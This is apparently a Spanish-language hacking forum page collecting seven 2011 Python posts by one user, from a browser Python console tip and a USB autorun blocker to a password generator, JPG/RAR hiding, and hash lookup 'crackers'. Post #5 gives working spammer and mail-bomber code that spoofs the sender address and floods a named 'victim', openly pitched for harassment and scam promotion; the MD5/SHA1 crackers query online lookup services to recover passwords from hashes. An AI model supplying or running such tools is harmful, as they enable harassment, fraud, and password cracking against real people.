Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Gh0st.C

#1
Python / Python desde tu navegador
Agosto 29, 2011, 12:02:01 AM

La otra vez, buscando aplicaciones para Google Chrome, encontre esta extensión, que es la consola de Python en el navegador, bastante práctica y funcional a pleno.
Para instalarla entran a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
y clickean en Agregar a Chrome. Pueden acceder a ella en la esquina superior derecha (Apretan en el logo de Python)

Espero les guste. ;)

Thanks
#2
Python / [Python] No-AutoRun
Julio 12, 2011, 11:48:32 PM
Bueno andaba con ganas de programar algo, se me ocurrio preguntarle a alguien por alguna idea y lo vi a Ignaro. me tiro una bastante buena.  Un código que evite que un virus se ejecute cuando conectas un USB infectado. Investigue y derivo en esto.

Código: python

#Codeado por Gh0st.C - Idea de Ignaro mayor de BsAS
import os
Archivo = open('C:\WINDOWS\system32\AutoRun.reg', 'w')#Creamos el archivo Autorun.reg
Archivo.write('REGEDIT4\n\n[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionIniFileMappingautorun.inf]\n@="@SYS:Underc0de"')#Le incluimos los datos
Archivo.close()
os.system('start AutoRun.reg')#Lo abrimos con el cmd
os.system('nircmd win dlgclick ititle "Editor" yes')#en esta instruccion simulamos los clicks
os.system('nircmd win dlgclick ititle "Editor" yes')


las dos ultimas lineas simulan los clicks, en mi PC anduvo bien, pero Ignaro la probo y los carteles no se clickeaban solos.
Prueben y digan.

Thanks.
#3
Python / Generador de contraseñas aleatorias
Mayo 19, 2011, 10:32:50 PM
No queria estudiar para biología, el sistema reproductor, la menstruación :P (?), asique me puse a hacer este simple código que (obviamente) genera passwords aleatorios 8), por si se te acabaron las ideas, o si no queres  pensar, o lo que sea. ::)
Me alegraría que les sirva.

Código: python
#!/usr/bin/python

import random

from random import choice



Ran1 = random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ')

Ran2 = random.choice(range(0,100))

Ran3 = random.choice('abcdefghijklmnopqrstuvwxyz')

Ran4 = random.choice('|@#$%&()=')

Convert = str(Ran2)

Junta = Ran1+Convert+Ran3+Ran4

i = 0

while i <1:

    Ran1 = random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ')

    Ran2 = random.choice(range(0,100))

    Convert2 = str(Ran2)

    Ran3 = random.choice('abcdefghijklmnopqrstuvwxyz')

    Ran4 = random.choice('\@#$%&/()=')

    Junta2 = Convert2+Ran4+Ran1+Ran3

    i+=1

print Junta + Junta2   

Thanks
#4
Python / Esteganografia.PY
Mayo 09, 2011, 02:11:03 PM
Andaba por DDLR (diosdelared) y vi el tutorial de w0rm(w0rm.diosdelared.com) en donde habla de esteganografía(creo que aquí hay uno también), entonces me dispuse a hacer un pequeño programa para automatizar el ocultamiento.
Solo necesitan winrar.
Código: python

import os, shutil
Ruta = raw_input('Ruta de la carpeta a comprimir ----> ')#Ej = C:\Videos\Porno
Nombrerar = raw_input('Nombre del .Rar ----> ')#Solo el nombre sin extensión .rar
Nombrejpg = raw_input ('Nombre de su Imagen ----> ')#Esta es la imagen que va a aparecer cuando abran flores.jpg, deben poner solo el nombre(sin.jpg)
#la foto debe estar en el mismo lugar donde esta este archivo Python
Donde = os.getcwd() #Obtiene el directorio en donde esta guardado este Archivo Python
os.system('Rar a -r %s.rar "%s"' % (Nombrerar, Ruta))
os.system('cd %s' % Donde)
os.system ('copy /b %s.jpg + %s.rar Flores.jpg' % (Nombrejpg, Nombrerar))#Pueden cambiar flores.jpg, por el nombre que se les de la gana
os.remove('%s.rar' % Nombrerar)#Elimina el .rar
os.remove('%s.jpg' % Nombrejpg)#Elimina la foto         
shutil.rmtree(Ruta, True)#Elimina la Carpeta


Para descomprimir click derecho a Flores.jpg / abrir con (winrar) y ahi descomprimen.

Thanks
#5
Python / Spammer + Mail Bomber.Py
Abril 25, 2011, 09:31:45 PM
Bueno, una idea vieja, que habia quedado en mi escritorio y la saque de por ahí estos días. El código esta un poco sucio, lo podría haber simplificado más pero ya fue  :o :o

Usos y aplicaciones

Si tenes ganas de joder a alguien enviandole correos masivos, usa el mail bomber.
Si montaste un scam, o queres promocionar tu web usa el Spammer.


Algunas Consideraciones

Así aparece en tu bandeja de entrada :
En latinmail muestra la direccion de correo falsa
que se ha asignado.
En Gmail muestra el nombre que le haz asignado a tu
cuenta de Hotmail cuando la creaste, pero ves la
dirección falsa. Si usaste el correo de envio un par de veces, empezará a llegar en forma de Spam
En Yahoo lo mismo que en Gmail, solo que llegan en la parte de Spam desde el principio.
En Hotmail te lo marca como Junk (Basura) y en la parte de "From" dice la dirección de correo original, tu nombre (el del correo) y luego el e-mail trucho que elegiste.

Código: python

import smtplib
import mimetypes
from email.MIMEText import MIMEText
from email.Encoders import encode_base64

def Spammer():
    Direc = raw_input('Directorio - Lista de mails ----> ') #Ej = C:\Lista.txt   
    Usr = raw_input('Usuario (Original) ----> ')#Ej = ACa va su usuario de Hotmail verdadero
    Psw = raw_input('Password ----> ')#Aca va su password
    Msj = raw_input('Mensaje ----> ')# El mensaje que quiere enviar
    Trucho = raw_input ('Direccion que se muestra ----> ') # La dirección que quiere que vea su destinatario
    Archivo = open(Direc,'r')
    Mails = Archivo.read()
    Lista = Mails.split()
    Largo = len(Lista)
    I = 0
    while I < Largo:
        mailServer = smtplib.SMTP('smtp.live.com',587)
        mailServer.ehlo()
        mailServer.starttls()
        mailServer.ehlo()
        mailServer.login(Usr, Psw)
        mailServer.sendmail(Trucho, Lista[I], Msj)
        I+=1
    Archivo.close()
    print 'Gh0st.C Rulez!!'
def Bomber():
    Usr = raw_input('Usuario (Original) ----> ')
    Psw = raw_input('Password ----> ')
    Dst = raw_input('Victima -----> ')
    Msj = raw_input('Mensaje ----> ')
    Trucho = raw_input ('Direccion que se muestra ----> ')
    i = 0
    while i <= 359:
        mailServer = smtplib.SMTP('smtp.live.com',587)
        mailServer.ehlo()
        mailServer.starttls()
        mailServer.ehlo()
        mailServer.login(Usr, Psw)
        mailServer.sendmail(Trucho, Dst, Msj)
        i+=1
    print 'Gh0st.C Rulez!!'


print '''
##############################################
#            Spammer + Mail Bomber           #
#                                            #
##############################################
#                Coding By Gh0st.C           #
#  http://gh0st.diosdelared.com/             #
#  http://underc0de.org/                     #
##############################################
      '''

Opcion = raw_input('Spammer o Mail Bomber?? ')
if Opcion == 'Spammer':
    Opcion = Spammer()
elif Opcion == 'Mail Bomber':
    Opcion = Bomber()
else:
    print 'Palabra errònea, Prueba con Spammer o Mail Bomber :D'



Thanks
#6
Python / Multicracker V-2.0!
Abril 02, 2011, 06:52:33 PM
Buenas Underc0de, como ya arranque las clases estoy un poco mas colgado con el tema de la programación, pero en este finde largo(El del 24 de marzo) me decidi a hacer la version 2.0 del md5 cracker (post anterior), aunque ahora se convirtio en multicracker.
Siguiendo las recomendaciones que me habían dado, puse todos los crackers en una funcion, agregue un sha1 cracker, pero solo encontre una web, si alguien tiene mas, que las deje abajo por favor.
Sin más preambulos, aca va :) ( ya saben los errores y recomendaciones también abajo:))

Código: python

import urllib

def Crack(MD5):
    Url= urllib.urlopen('http://md5.noisette.ch/md5.php?hash=%s' % MD5).read()
    if 'The' in Url or 'No value in MD5 database for this hash' in Url:
        Url= urllib.urlopen('http://alimamed.pp.ru/md5/?md5e=&md5d=%s' % MD5).read()
        if 'Âû ââåëè íå MD5' in Url:
           Url= urllib.urlopen('http://hashkiller.com/api/api.php?md5=%s' % MD5).read()
           if 'false' in Url or 'Invalid' in Url:
               Url= urllib.urlopen('http://xanadrel.99k.org/hashes/api.php?hash=%s' % MD5).read()
               if 'no' in Url:
                   Url= urllib.urlopen('http://www.beler.net/md5reverse/%s' % MD5).read()
                   if 'NotFound' in Url:
                       Url= urllib.urlopen('http://md5-lookup.com/index.php?q=%s' % MD5).read()
                       if 'No results found!' in Url:
                           print 'Hash (MD5) no encontrado'
                       else:
                           Url = Url.split()
                           Url = Url[294].replace('width="250">','')
                           Url = Url.replace('</td>','')
                           print 'Hash encontrado en md5-lookup.com y es %s' % Url
                   else:
                       Url = Url.split()
                       Url = Url[158].replace('style="color:red;">','')
                       Url = Url.replace('</b><br/><span','')
                       print 'Hash encontrado en beler.net y es %s' % Url
               else:
                   Url = Url.split()
                   Url = Url[7].replace('<plain>','')
                   Url = Url.replace('</plain>','')
                   print 'Hash encontrado en xanadrel.99k.org y es %s' % Url
           else:
               Url = Url.split()
               Url = Url[5].replace('<plain>','')
               Url = Url.replace('</plain>','')
               print 'Hash encontrado en hashkiller.com y es %s' % Url
        else:
            Url = Url.split()
            Url = Url[26].replace('<b>','')
            Url = Url.replace('</b><br><form','')
            print 'Hash encontrado en alimamed.pp.ru y es %s' % Url 
    else:
        Url = Url.split()
        Url = Url[5].replace('<string><![CDATA[','')
        Url = Url.replace(']]></string>','')
        print 'Hash encontrado en md5.noisette.ch y es %s' % Url


print '''
##############################################
#                MULTICRACKER V-2.0!         #
# Greetz = Maztor                            #
##############################################
#                Coding By Gh0st.C           #
#  http://www.eticahacker.net/               #
#  http://foro.h-sec.org/                    #
#  http://gh0st.diosdelared.com/             #
##############################################
      '''       

MD5 = raw_input ('El Hash ---> = ')
if len(MD5) == 32:
        Hash = Crack(MD5)
elif len(MD5) == 40:
    Url= urllib.urlopen('http://sha1-lookup.com/index.php?q=%s' % MD5).read()
    if 'No results found!' in Url:
        print 'Hash (SHA1) no encontrado'
    else:
        Url = Url.split()
        Url = Url[298].replace('width="250">','')
        Url = Url.replace('</td>','')
        print 'Hash encontrado en sha1-lookup.com y es %s' % Url       
else:
    print 'Invalido'


Thanks
#7
Python / Md5 Cracker [V-1.0]
Febrero 22, 2011, 12:54:05 AM
Vi que ya hay crackers md5, pero este código lo hice antes de entrar aquí.
Luego de dos días y medio de estudiar sobre python me animé a hacer este código, seguro tiene errores  y demás, por favor les pido que los digan así los arreglo.

Código: python


import urllib


def Noisette(MD5):
   Url= urllib.urlopen('http://md5.noisette.ch/md5.php?hash=%s' % MD5).read()
   if 'The' in Url:
       print'Hash no encontrado en md5.noisette.ch'
   elif 'No value in MD5 database for this hash':
       print'Hash no encontrado en md5.noisette.ch'
   else:
       Url = Url.split()
       Url = Url[5].replace('<string><![CDATA[','')
       Url = Url.replace(']]></string>','')
       print 'Hash encontrado en md5.noisette.ch y es %s' % Url        

def Hashkiller(MD5):
   Url= urllib.urlopen('http://hashkiller.com/api/api.php?md5=%s' % MD5).read()
   if 'false' in Url:
       print'Hash no encontrado hashkiller.com'
   elif 'Invalid' in Url:
       print'Hash no encontrado hashkiller.com'
   else:
       Url = Url.split()
       Url = Url[5].replace('<plain>','')
       Url = Url.replace('</plain>','')
       print 'Hash encontrado en hashkiller.com y es %s' % Url
def Xank(MD5):
   Url= urllib.urlopen('http://xanadrel.99k.org/hashes/api.php?hash=%s' % MD5).read()
   if 'no' in Url:
       print'Hash no encontrado xanadrel.99k.org'
   elif 'yes' in Url :
       Url = Url.split()
       Url = Url[7].replace('<plain>','')
       Url = Url.replace('</plain>','')
       print 'Hash encontrado en xanadrel.99k.org y es %s' % Url
       
   else:
       print'Hash no encontrado xanadrel.99k.org'

print '''
##############################################
#                MD5 CRACKER V-1.0!          #
#                                            #
##############################################
#                Coding By Gh0st.C           #
#  http://www.eticahacker.net                #
#   http://foro.h-sec.org/                   #
#                                            #
##############################################
     '''

MD5 = raw_input ('El Hash ---> = ')
if len(MD5) == 32:
       Hash = Noisette(MD5)
       Hash = Hashkiller(MD5)
       Hash = Xank(MD5)
else:
   print 'Invalido'


Espero les sirva y les guste.

Thanks